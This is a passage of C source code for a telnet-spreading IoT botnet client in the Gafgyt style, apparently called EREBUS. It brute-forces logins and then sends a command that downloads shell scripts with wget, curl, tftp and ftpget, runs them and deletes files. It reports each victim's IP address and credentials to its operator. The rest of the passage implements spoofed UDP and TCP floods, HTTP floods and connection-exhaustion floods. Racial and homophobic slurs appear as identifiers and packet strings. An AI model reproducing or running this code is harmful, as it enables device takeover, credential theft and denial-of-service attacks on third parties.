  2313. if(readUntil(fds[i].fd, "incorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2314. {
  2315. fds[i].totalTimeout = 0;
  2316. fds[i].bufUsed = 0;
  2317. if(strstr(fds[i].sockbuf, "incorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2318. if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  2319. else fds[i].state = 7;
  2320. memset(fds[i].sockbuf, 0, 1024);
  2321. continue;
  2322. }
  2323. if(readUntil(fds[i].fd, "fail", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2324. {
  2325. fds[i].totalTimeout = 0;
  2326. fds[i].bufUsed = 0;
  2327. if(strstr(fds[i].sockbuf, "fail") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2328. else fds[i].state = 7;
  2329. memset(fds[i].sockbuf, 0, 1024);
  2330. continue;
  2331. }
  2332. if(readUntil(fds[i].fd, "again", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2333. {
  2334. fds[i].totalTimeout = 0;
  2335. fds[i].bufUsed = 0;
  2336. if(strstr(fds[i].sockbuf, "again") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2337. else fds[i].state = 7;
  2338. memset(fds[i].sockbuf, 0, 1024);
  2339. continue;
  2340. }
  2341. if(readUntil(fds[i].fd, "wrong", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2342. {
  2343. fds[i].totalTimeout = 0;
  2344. fds[i].bufUsed = 0;
  2345. if(strstr(fds[i].sockbuf, "wrong") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2346. else fds[i].state = 7;
  2347. memset(fds[i].sockbuf, 0, 1024);
  2348. continue;
  2349. }
  2350. if(readUntil(fds[i].fd, "accessdenied", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2351. {
  2352. fds[i].totalTimeout = 0;
  2353. fds[i].bufUsed = 0;
  2354. if(strstr(fds[i].sockbuf, "accessdenied") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2355. else fds[i].state = 7;
  2356. memset(fds[i].sockbuf, 0, 1024);
  2357. continue;
  2358. }
  2359. if(readUntil(fds[i].fd, "denied", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2360. {
  2361. fds[i].totalTimeout = 0;
  2362. fds[i].bufUsed = 0;
  2363. if(strstr(fds[i].sockbuf, "denied") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2364. else fds[i].state = 7;
  2365. memset(fds[i].sockbuf, 0, 1024);
  2366. continue;
  2367. }
  2368. if(readUntil(fds[i].fd, "error", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2369. {
  2370. fds[i].totalTimeout = 0;
  2371. fds[i].bufUsed = 0;
  2372. if(strstr(fds[i].sockbuf, "error") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2373. else fds[i].state = 7;
  2374. memset(fds[i].sockbuf, 0, 1024);
  2375. continue;
  2376. }
  2377. if(readUntil(fds[i].fd, "bad", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2378. {
  2379. fds[i].totalTimeout = 0;
  2380. fds[i].bufUsed = 0;
  2381. if(strstr(fds[i].sockbuf, "bad") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  2382. else fds[i].state = 7;
  2383. memset(fds[i].sockbuf, 0, 1024);
  2384. continue;
  2385. }
  2386. else {
  2387. fds[i].bufUsed = strlen(fds[i].sockbuf);
  2388. }
  2389.  
  2390. if(fds[i].totalTimeout + 10 < time(NULL))
  2391. {
  2392. sclose(fds[i].fd);
  2393. fds[i].state = 0;
  2394. fds[i].complete = 1;
  2395. }
  2396. }
  2397. break;
  2398.  
  2399. case 7:
  2400. {
  2401. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  2402. fds[i].state = 8;
  2403. }
  2404. break;
  2405. case 8:
  2406. {
  2407. if(send(fds[i].fd, "/bin/sh\r\n", 9, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  2408. fds[i].state = 9;
  2409. }
  2410. break;
  2411.  
  2412. case 9:
  2413. {
  2414. if(send(fds[i].fd, "cd /tmp; wget http://127.0.0.1/EREBUS.sh; curl -O http://127.0.0.1/EREBUS.sh; chmod 777 EREBUS.sh; sh EREBUS.sh; tftp 127.0.0.1 -c get tEREBUS.sh; chmod 777 tEREBUS.sh; sh tEREBUS.sh; tftp -r tEREBUS2.sh -g 127.0.0.1; chmod 777 tEREBUS2.sh; sh tEREBUS2.sh; ftpget -v -u anonymous -p anonymous -P 21 127.0.0.1 EREBUS1.sh EREBUS1.sh; sh EREBUS1.sh; rm -rf EREBUS.sh tEREBUS.sh tEREBUS2.sh EREBUS1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  2415. NiggerPrint(NiggahPrinter, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  2416. fds[i].state = 10;
  2417. }
  2418. break;
  2419.  
  2420. case 10:
  2421. {
  2422. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  2423.  
  2424. if(readUntil(fds[i].fd, "ulti-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2425. {
  2426. fds[i].totalTimeout = 0;
  2427. fds[i].bufUsed = 0;
  2428. send(fds[i].fd, "cd /tmp; wget http://127.0.0.1/EREBUS.sh; curl -O http://127.0.0.1/EREBUS.sh; chmod 777 EREBUS.sh; sh EREBUS.sh; tftp 127.0.0.1 -c get tEREBUS.sh; chmod 777 tEREBUS.sh; sh tEREBUS.sh; tftp -r tEREBUS2.sh -g 127.0.0.1; chmod 777 tEREBUS2.sh; sh tEREBUS2.sh; ftpget -v -u anonymous -p anonymous -P 21 127.0.0.1 EREBUS1.sh EREBUS1.sh; sh EREBUS1.sh; rm -rf EREBUS.sh tEREBUS.sh tEREBUS2.sh EREBUS1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL);
  2429. NiggerPrint(NiggahPrinter, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  2430. continue;
  2431.  
  2432. }
  2433. else if(readUntil(fds[i].fd, "multi-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2434. {
  2435. fds[i].totalTimeout = 0;
  2436. fds[i].bufUsed = 0;
  2437. send(fds[i].fd, "cd /tmp; wget http://127.0.0.1/EREBUS.sh; curl -O http://127.0.0.1/EREBUS.sh; chmod 777 EREBUS.sh; sh EREBUS.sh; tftp 127.0.0.1 -c get tEREBUS.sh; chmod 777 tEREBUS.sh; sh tEREBUS.sh; tftp -r tEREBUS2.sh -g 127.0.0.1; chmod 777 tEREBUS2.sh; sh tEREBUS2.sh; ftpget -v -u anonymous -p anonymous -P 21 127.0.0.1 EREBUS1.sh EREBUS1.sh; sh EREBUS1.sh; rm -rf EREBUS.sh tEREBUS.sh tEREBUS2.sh EREBUS1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL);
  2438. NiggerPrint(NiggahPrinter, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  2439. continue;
  2440.  
  2441. }
  2442. else if(readUntil(fds[i].fd, "gayfgt", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  2443. {
  2444. fds[i].totalTimeout = 0;
  2445. fds[i].bufUsed = 0;
  2446. send(fds[i].fd, "cd /tmp; wget http://127.0.0.1/EREBUS.sh; curl -O http://127.0.0.1/EREBUS.sh; chmod 777 EREBUS.sh; sh EREBUS.sh; tftp 127.0.0.1 -c get tEREBUS.sh; chmod 777 tEREBUS.sh; sh tEREBUS.sh; tftp -r tEREBUS2.sh -g 127.0.0.1; chmod 777 tEREBUS2.sh; sh tEREBUS2.sh; ftpget -v -u anonymous -p anonymous -P 21 127.0.0.1 EREBUS1.sh EREBUS1.sh; sh EREBUS1.sh; rm -rf EREBUS.sh tEREBUS.sh tEREBUS2.sh EREBUS1.sh; rm -rf *\r\n", 394, MSG_NOSIGNAL);
  2447. NiggerPrint(NiggahPrinter, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  2448. memset(fds[i].sockbuf, 0, 1024);
  2449. sclose(fds[i].fd);
  2450. fds[i].complete = 1;
  2451. fds[i].state = 0;
  2452. continue;
  2453. }
  2454. else {
  2455. fds[i].bufUsed = strlen(fds[i].sockbuf);
  2456. }
  2457.  
  2458. if(fds[i].totalTimeout + 10 < time(NULL))
  2459. {
  2460. sclose(fds[i].fd);
  2461. fds[i].state = 0;
  2462. fds[i].complete = 1;
  2463. }
  2464. }
  2465. break;
  2466. }
  2467. }
  2468. }
  2469. }
  2470.  
  2471. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  2472. const char *useragents[] = {
  2473. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2474. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2475. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2476. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2477. "Opera/6.04 (Windows XP; U) [en]",
  2478. "Opera/9.99 (X11; U; sk)",
  2479. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2480. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2481. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2482. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2483. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2484. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2485. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  2486. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  2487. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  2488. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  2489. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  2490. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  2491. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  2492. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  2493. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  2494. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  2495. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  2496. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  2497. "wii libnup/1.0",
  2498. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  2499. "PSP (PlayStation Portable); 2.00",
  2500. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  2501. "Doris/1.15 [en] (Symbian)",
  2502. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2503. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100"
  2504. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2505. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2506. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2507. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2508. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  2509. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  2510. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  2511. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  2512. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  2513. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  2514. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  2515. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  2516. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  2517. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  2518. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  2519. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  2520. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  2521. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  2522. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  2523. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  2524. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  2525. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  2526. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  2527. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  2528. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  2529. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  2530. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  2531. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  2532. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  2533. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  2534. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  2535. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  2536. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  2537. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)"
  2538. };
  2539. const char *connections[] = {"close", "keep-alive", "accept"};
  2540. int i, timeEnd = time(NULL) + timeFoo;
  2541. char request[512];
  2542. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 3)], useragents[(rand() % 65)]);
  2543. for (i = 0; i < power; i++) {
  2544. if (fork()) {
  2545. while (timeEnd > time(NULL)) {
  2546. int socket = socket_connect((char *)host, port);
  2547. if (socket != 0) {
  2548. write(socket, request, strlen(request));
  2549. close(socket);
  2550. }
  2551. }
  2552. _exit(1);
  2553. }
  2554. }
  2555. }
  2556. void sendSTD(unsigned char *ip, int port, int secs) {
  2557. int iSTD_Sock;
  2558. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  2559. time_t start = time(NULL);
  2560. struct sockaddr_in sin;
  2561. struct hostent *hp;
  2562. hp = gethostbyname(ip);
  2563. bzero((char*) &sin,sizeof(sin));
  2564. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  2565. sin.sin_family = hp->h_addrtype;
  2566. sin.sin_port = port;
  2567. unsigned int a = 0;
  2568. while(1){
  2569. char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "hackz", "shdyed", "http", "sghwiondc", "nigger", "pussy", "faggot"};
  2570. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  2571. if (a >= 50)
  2572. {
  2573. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  2574. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  2575. if (time(NULL) >= start + secs)
  2576. {
  2577. close(iSTD_Sock);
  2578. _exit(0);
  2579. }
  2580. a = 0;
  2581. }
  2582. a++;
  2583. }
  2584. }
  2585. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval){
  2586. struct sockaddr_in dest_addr;
  2587. dest_addr.sin_family = AF_INET;
  2588. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2589. else dest_addr.sin_port = htons(port);
  2590. if(getHost(target, &dest_addr.sin_addr)) return;
  2591. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2592. register unsigned int pollRegister;
  2593. pollRegister = pollinterval;
  2594. if(spoofit == 32)
  2595. {
  2596. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  2597. if(!sockfd)
  2598. {
  2599. NiggerPrint(NiggahPrinter, "Failed opening raw socket.");
  2600. return;
  2601. }
  2602. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  2603. if(buf == NULL) return;
  2604. memset(buf, 0, packetsize + 1);
  2605. makeRandomStr(buf, packetsize);
  2606. int end = time(NULL) + timeEnd;
  2607. register unsigned int i = 0;
  2608. while(1)
  2609. {
  2610. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2611. if(i == pollRegister)
  2612. {
  2613. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2614. if(time(NULL) > end) break;
  2615. i = 0;
  2616. continue;
  2617. }
  2618. i++;
  2619. }
  2620. } else {
  2621. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  2622. if(!sockfd)
  2623. {
  2624. NiggerPrint(NiggahPrinter, "Failed opening raw socket.");
  2625. return;
  2626. }
  2627. int tmp = 1;
  2628. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2629. {
  2630. NiggerPrint(NiggahPrinter, "Failed setting raw headers mode.");
  2631. return;
  2632. }
  2633. int counter = 50;
  2634. while(counter--)
  2635. {
  2636. srand(time(NULL) ^ rand_cmwc());
  2637. init_rand(rand());
  2638. }
  2639. in_addr_t netmask;
  2640. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2641. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2642. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  2643. struct iphdr *iph = (struct iphdr *)packet;
  2644. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  2645. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan2(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  2646. udph->len = htons(sizeof(struct udphdr) + packetsize);
  2647. udph->source = rand_cmwc();
  2648. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2649. udph->check = 0;
  2650. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  2651. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2652. int end = time(NULL) + timeEnd;
  2653. register unsigned int i = 0;
  2654. while(1)
  2655. {
  2656. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2657. udph->source = rand_cmwc();
  2658. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2659. iph->id = rand_cmwc();
  2660. iph->saddr = htonl( HackerScan2(netmask) );
  2661. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2662. if(i == pollRegister)
  2663. {
  2664. if(time(NULL) > end) break;
  2665. i = 0;
  2666. continue;
  2667. }
  2668. i++;
  2669. }
  2670. }
  2671. }
  2672. void sendCNC(unsigned char *ip,int port, int end_time){
  2673. int end = time(NULL) + end_time;
  2674. int sockfd;
  2675. struct sockaddr_in server;
  2676. server.sin_addr.s_addr = inet_addr(ip);
  2677. server.sin_family = AF_INET;
  2678. server.sin_port = htons(port);
  2679. while(end > time(NULL))
  2680. {
  2681. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  2682. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  2683. sleep(1);
  2684. close(sockfd);
  2685. }
  2686. }
  2687. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval){
  2688. register unsigned int pollRegister;
  2689. pollRegister = pollinterval;
  2690. struct sockaddr_in dest_addr;
  2691. dest_addr.sin_family = AF_INET;
  2692. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2693. else dest_addr.sin_port = htons(port);
  2694. if(getHost(target, &dest_addr.sin_addr)) return;
  2695. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2696. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  2697. if(!sockfd)
  2698. {
  2699. NiggerPrint(NiggahPrinter, "Failed opening raw socket.");
  2700. return;
  2701. }
  2702. int tmp = 1;
  2703. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2704. {
  2705. NiggerPrint(NiggahPrinter, "Failed setting raw headers mode.");
  2706. return;
  2707. }
  2708. in_addr_t netmask;
  2709. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2710. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2711. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  2712. struct iphdr *iph = (struct iphdr *)packet;
  2713. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  2714. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan2(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  2715. tcph->source = rand_cmwc();
  2716. tcph->seq = rand_cmwc();
  2717. tcph->ack_seq = 0;
  2718. tcph->doff = 5;
  2719. if(!strcmp(flags, "all"))
  2720. {
  2721. tcph->syn = 1;
  2722. tcph->rst = 1;
  2723. tcph->fin = 1;
  2724. tcph->ack = 1;
  2725. tcph->psh = 1;
  2726. } else {
  2727. unsigned char *pch = strtok(flags, ",");
  2728. while(pch)
  2729. {
  2730. if(!strcmp(pch, "syn"))
  2731. {
  2732. tcph->syn = 1;
  2733. } else if(!strcmp(pch, "rst"))
  2734. {
  2735. tcph->rst = 1;
  2736. } else if(!strcmp(pch, "fin"))
  2737. {
  2738. tcph->fin = 1;
  2739. } else if(!strcmp(pch, "ack"))
  2740. {
  2741. tcph->ack = 1;
  2742. } else if(!strcmp(pch, "psh"))
  2743. {
  2744. tcph->psh = 1;
  2745. } else {
  2746. NiggerPrint(NiggahPrinter, "Invalid flag \"%s\"", pch);
  2747. }
  2748. pch = strtok(NULL, ",");
  2749. }
  2750. }
  2751. tcph->window = rand_cmwc();
  2752. tcph->check = 0;
  2753. tcph->urg_ptr = 0;
  2754. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2755. tcph->check = tcpcsum(iph, tcph);
  2756. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2757. int end = time(NULL) + timeEnd;
  2758. register unsigned int i = 0;
  2759. while(1)
  2760. {
  2761. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2762. iph->saddr = htonl( HackerScan2(netmask) );
  2763. iph->id = rand_cmwc();
  2764. tcph->seq = rand_cmwc();
  2765. tcph->source = rand_cmwc();
  2766. tcph->check = 0;
  2767. tcph->check = tcpcsum(iph, tcph);
  2768. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2769. if(i == pollRegister)
  2770. {
  2771. if(time(NULL) > end) break;
  2772. i = 0;
  2773. continue;
  2774. }
  2775. i++;
  2776. }
  2777. }
  2778. void sendJUNK(unsigned char *ip, int port, int end_time){
  2779. int max = getdtablesize() / 2, i;
  2780. struct sockaddr_in dest_addr;
  2781. dest_addr.sin_family = AF_INET;
  2782. dest_addr.sin_port = htons(port);
  2783. if(getHost(ip, &dest_addr.sin_addr)) return;
  2784. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2785. struct state_t
  2786. {
  2787. int fd;
  2788. uint8_t state;
  2789. } fds[max];
  2790. memset(fds, 0, max * (sizeof(int) + 1));
  2791. fd_set myset;
  2792. struct timeval tv;
  2793. socklen_t lon;
  2794. int valopt, res;
  2795. unsigned char *watwat = malloc(1024);
  2796. memset(watwat, 0, 1024);
  2797. int end = time(NULL) + end_time;
  2798. while(end > time(NULL))
  2799. {
  2800. for(i = 0; i < max; i++)
  2801. {
  2802. switch(fds[i].state)
  2803. {
  2804. case 0:
  2805. {
  2806. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2807. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2808. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2809. else fds[i].state = 1;
  2810. }
  2811. break;
  2812. case 1:
  2813. {
  2814. FD_ZERO(&myset);
  2815. FD_SET(fds[i].fd, &myset);
  2816. tv.tv_sec = 0;
  2817. tv.tv_usec = 10000;
  2818. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2819. if(res == 1)
  2820. {
  2821. lon = sizeof(int);
  2822. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2823. if(valopt)
  2824. {
  2825. close(fds[i].fd);
  2826. fds[i].state = 0;
  2827. } else {
  2828. fds[i].state = 2;
  2829. }
  2830. } else if(res == -1)
  2831. {
  2832. close(fds[i].fd);
  2833. fds[i].state = 0;
  2834. }
  2835. }
  2836. break;
  2837. case 2:
  2838. {
  2839. makeRandomStr(watwat, 1024);
  2840. if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  2841. {
  2842. close(fds[i].fd);
  2843. fds[i].state = 0;
  2844. }
  2845. }
  2846. break;
  2847. }
  2848. }
  2849. }
  2850. }
  2851. void sendHOLD(unsigned char *ip, int port, int end_time){
  2852. int max = getdtablesize() / 2, i;
  2853. struct sockaddr_in dest_addr;
  2854. dest_addr.sin_family = AF_INET;
  2855. dest_addr.sin_port = htons(port);
  2856. if(getHost(ip, &dest_addr.sin_addr)) return;
  2857. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2858. struct state_t
  2859. {
  2860. int fd;
  2861. uint8_t state;
  2862. } fds[max];
  2863. memset(fds, 0, max * (sizeof(int) + 1));
  2864. fd_set myset;
